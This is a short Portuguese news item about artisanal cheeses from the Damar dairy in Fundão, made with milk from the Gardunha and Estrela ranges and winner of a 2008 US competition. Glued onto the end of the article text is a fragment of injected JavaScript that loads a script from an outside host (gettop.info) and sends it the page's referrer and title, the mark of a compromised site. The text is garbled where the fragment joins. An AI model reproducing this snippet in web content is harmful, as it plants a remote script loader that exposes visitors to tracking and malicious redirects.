Fundão – Os queijos da Beira que são estrelas nos EUA
Do Parque Industrial do Fundão saem há 20 anos queijos artesanais. São produzidos com o leite proveniente de animais das serras da Gardunha e da Estrela. Na queijaria Damar «o sucesso ultrapassa fronteiras» como refere Luís Diogo. Prova disto, foi o primeiro lugar que o queijo amarelo da Beira Baixa (DOP) obteve numa prova internacional em 2008, nos EUA.}s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;
